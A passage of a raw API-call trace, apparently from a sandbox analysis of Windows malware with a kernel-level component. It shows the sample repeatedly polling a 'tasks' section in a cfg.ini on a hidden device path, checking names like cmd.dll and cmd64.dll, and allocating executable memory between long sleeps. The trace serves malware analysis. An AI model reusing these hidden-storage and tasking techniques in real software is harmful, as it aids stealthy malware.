_Dest="0d24eb7c\\cfg.ini") returned 16 [0123.128] KeEnterCriticalRegion () [0123.128] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.128] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0123.128] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0123.128] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0123.128] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0123.128] IdePortDispatch () returned 0x103 [0123.128] KeWaitForMutexObject () returned 0x0 [0123.128] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.128] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0123.128] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0123.128] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0123.128] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0123.128] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003be71b0 [0123.128] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.128] KeLeaveCriticalRegion () [0123.128] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0123.128] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.128] KeEnterCriticalRegion () [0123.128] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.128] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0123.128] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.128] KeLeaveCriticalRegion () [0123.128] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.128] KeEnterCriticalRegion () [0123.128] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.128] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0123.128] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0123.129] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0123.129] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0123.129] IdePortDispatch () returned 0x103 [0123.129] KeWaitForMutexObject () returned 0x0 [0123.129] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.129] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.129] KeLeaveCriticalRegion () [0123.129] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0123.129] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.129] KeEnterCriticalRegion () [0123.129] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.129] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002db5000 [0123.129] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0123.129] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0123.129] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0123.129] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0123.129] IdePortDispatch () returned 0x103 [0123.130] KeWaitForMutexObject () returned 0x0 [0123.130] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.130] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0123.130] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0123.130] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0123.130] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0123.130] IdePortDispatch () returned 0x103 [0123.130] KeWaitForMutexObject () returned 0x0 [0123.130] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.130] KeLeaveCriticalRegion () [0123.130] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0123.130] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.131] KeEnterCriticalRegion () [0123.131] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.131] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0123.131] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.131] KeLeaveCriticalRegion () [0123.131] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.131] KeEnterCriticalRegion () [0123.131] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.131] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0123.131] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003be7760, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0123.131] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.131] KeLeaveCriticalRegion () [0123.131] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0123.131] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.131] KeEnterCriticalRegion () [0123.131] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.131] ExFreePoolWithTag (P=0xfffffa8003be71b0, Tag=0x0) [0123.131] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.131] KeLeaveCriticalRegion () [0123.131] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0123.131] ReleaseMutex (hMutex=0xf0) returned 1 [0123.131] Sleep (dwMilliseconds=0x927c0) [0123.145] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0123.145] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0123.145] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0123.145] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.145] KeEnterCriticalRegion () [0123.145] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.145] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0123.145] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0123.145] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0123.145] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0123.145] IdePortDispatch () returned 0x103 [0123.145] KeWaitForMutexObject () returned 0x0 [0123.146] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.146] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0123.146] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0123.146] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0123.146] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0123.146] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bea010 [0123.146] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.146] KeLeaveCriticalRegion () [0123.146] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0123.146] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.146] KeEnterCriticalRegion () [0123.146] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.146] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0123.146] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.146] KeLeaveCriticalRegion () [0123.146] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.146] KeEnterCriticalRegion () [0123.146] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.146] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0123.146] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0123.146] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0123.146] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0123.146] IdePortDispatch () returned 0x103 [0123.146] KeWaitForMutexObject () returned 0x0 [0123.146] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.146] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.146] KeLeaveCriticalRegion () [0123.146] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0123.146] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.146] KeEnterCriticalRegion () [0123.146] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.146] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002dba000 [0123.147] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0123.147] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0123.147] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0123.147] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0123.147] IdePortDispatch () returned 0x103 [0123.147] KeWaitForMutexObject () returned 0x0 [0123.147] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.147] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0123.147] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0123.147] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0123.147] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0123.147] IdePortDispatch () returned 0x103 [0123.147] KeWaitForMutexObject () returned 0x0 [0123.147] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.147] KeLeaveCriticalRegion () [0123.147] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0123.148] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.148] KeEnterCriticalRegion () [0123.148] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.148] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0123.148] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.148] KeLeaveCriticalRegion () [0123.148] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.148] KeEnterCriticalRegion () [0123.148] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.148] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0123.148] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003be9530, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0123.148] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.148] KeLeaveCriticalRegion () [0123.148] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0123.148] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.148] KeEnterCriticalRegion () [0123.148] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.148] ExFreePoolWithTag (P=0xfffffa8003bea010, Tag=0x0) [0123.148] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.148] KeLeaveCriticalRegion () [0123.148] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0123.148] ReleaseMutex (hMutex=0xf0) returned 1 [0123.148] Sleep (dwMilliseconds=0x927c0) [0123.162] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0123.162] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0123.162] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0123.162] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.163] KeEnterCriticalRegion () [0123.163] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.163] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0123.163] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0123.163] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0123.163] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0123.163] IdePortDispatch () returned 0x103 [0123.163] KeWaitForMutexObject () returned 0x0 [0123.163] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.163] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0123.163] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0123.163] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0123.163] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0123.163] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003be9860 [0123.163] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.163] KeLeaveCriticalRegion () [0123.163] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0123.163] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.163] KeEnterCriticalRegion () [0123.163] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.163] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0123.163] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.163] KeLeaveCriticalRegion () [0123.163] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.163] KeEnterCriticalRegion () [0123.163] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.163] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0123.163] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0123.163] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0123.163] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0123.163] IdePortDispatch () returned 0x103 [0123.163] KeWaitForMutexObject () returned 0x0 [0123.164] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.164] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.164] KeLeaveCriticalRegion () [0123.164] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0123.164] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.164] KeEnterCriticalRegion () [0123.164] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.164] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002de1000 [0123.164] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0123.164] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0123.164] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0123.164] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0123.164] IdePortDispatch () returned 0x103 [0123.164] KeWaitForMutexObject () returned 0x0 [0123.164] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.164] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0123.164] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0123.164] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0123.164] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0123.164] IdePortDispatch () returned 0x103 [0123.164] KeWaitForMutexObject () returned 0x0 [0123.164] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.164] KeLeaveCriticalRegion () [0123.164] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0123.165] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.165] KeEnterCriticalRegion () [0123.165] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.165] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0123.165] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.165] KeLeaveCriticalRegion () [0123.165] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.165] KeEnterCriticalRegion () [0123.165] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.165] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0123.165] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003be2e10, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0123.165] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.165] KeLeaveCriticalRegion () [0123.165] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0123.165] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.165] KeEnterCriticalRegion () [0123.165] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.165] ExFreePoolWithTag (P=0xfffffa8003be9860, Tag=0x0) [0123.165] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.165] KeLeaveCriticalRegion () [0123.165] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0123.165] ReleaseMutex (hMutex=0xf0) returned 1 [0123.165] Sleep (dwMilliseconds=0x927c0) [0123.179] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0123.179] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0123.179] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0123.179] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.179] KeEnterCriticalRegion () [0123.179] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.179] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0123.179] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0123.179] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0123.179] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0123.179] IdePortDispatch () returned 0x103 [0123.179] KeWaitForMutexObject () returned 0x0 [0123.179] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.179] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0123.179] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0123.179] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0123.179] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0123.179] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003beac60 [0123.179] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.179] KeLeaveCriticalRegion () [0123.179] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0123.179] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.180] KeEnterCriticalRegion () [0123.180] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.180] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0123.180] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.180] KeLeaveCriticalRegion () [0123.180] _snprintf (in: _Dest=0xfffff880028cc790, 